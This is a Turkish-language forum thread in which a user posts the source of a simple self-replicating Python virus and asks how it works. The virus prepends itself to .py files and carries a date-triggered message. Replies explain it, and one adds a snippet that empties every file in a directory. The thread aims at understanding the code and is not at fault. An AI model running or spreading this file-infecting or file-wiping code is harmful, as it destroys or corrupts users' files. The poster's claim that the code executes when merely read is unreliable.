Bu virüsün kodu tam olarak ne yapıyor anlayamadım

arkadaşlar kodlar burada ben bu yazılımı anlayamadım

<code>#!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i&gt;=0 and i &lt;39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT"S AN EVIL ALUGH BY THE WAY!!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()</code>

Fonksiyon isimlerine bakarak şu anlamı çıkarıyorum:

  1. Dizin araştırıyor,
  2. Dosya veya dizin enfekte ediliyor,
  3. Enfekte ettiği şeyi patlatıyor.

Yaptığı şey şu şekilde;

  • Öncelikle kendisine bir dizin arıyor ve buluyor. (search fonksiyonundaki os modülü ile)
  • Dizini bulduktan sonra bu dizindeki oluşumu kendi ihtiyacına göre düzenliyor. (search fonksiyonundaki os modülü ile)
  • Ardından virüs dosyasını oluşturuyor. (infect fonksiyonundaki bir önceki fonksyindan üretilmiş değer ile)
  • Belirli bir tarih veriyor. 1. ayın 25. gününde virüs çalışsın. (bomb fonksiyonu içindeki datetime modülü ile)

Bir de yaptığı bir başka işlem var ki o da şudur;

Eğer kodu çalıştırmayıp burada sadece okursanız kod hiç çalışmadan size kendisini okutmuş oluyor. Daha önce kendi yapısını okutan bir virüs görmedim. Tebrik ederim.

3 Beğeni

Şuanlık hiçbir şey yapmıyor bu kodlar. Çünkü kodlarda hata var. Ayrıca gereksiz yere uzatılmış.

Şu kodlar ile hemen hemen aynı işi yapıyor:

import os


def recreate(path):
    for dirpath, dirnames, filenames in os.walk(path):
        for filename in filenames:
            with open(os.path.join(dirpath, filename), "w") as f:
                pass
                
                
recreate("./test")
3 Beğeni

Dizinleri araştırıp .py uzantılı dosyaları tespit ediyor ve bunların içerisine kendi kodunun 0-39 arası satırlarını yazıyor. O kadar.

Bu kodun antisi yazılabilir mi peki

aslında bu kodlar bir siteden ama o site de başka bir yerden çalmış kodları galiba çünkü çünkü internette her sitede o kodlar var insanların virüs diyince aklına o geliyor.

Bence, imkanınız varsa bir sanal makineye, Bir antivirüs bir de Python kurup;
kodu çalıştırın :slight_smile:

1 Beğeni

haklısın bir ara python amcaya konuyu sorayım aslını öğreniyim dedim ama kodlarda hata olduğunu anlayınca bu kodları insanların daha iyi okuyabileceğini düşündüm

bu virüs işi nereden çıktı bunu bilmeyen biri tüm işleri mahvedebilir

virüs olduğu yazıyor ayrıca ben sadece bu kodun ne işe yaradığını nasıl çalıştığını sordum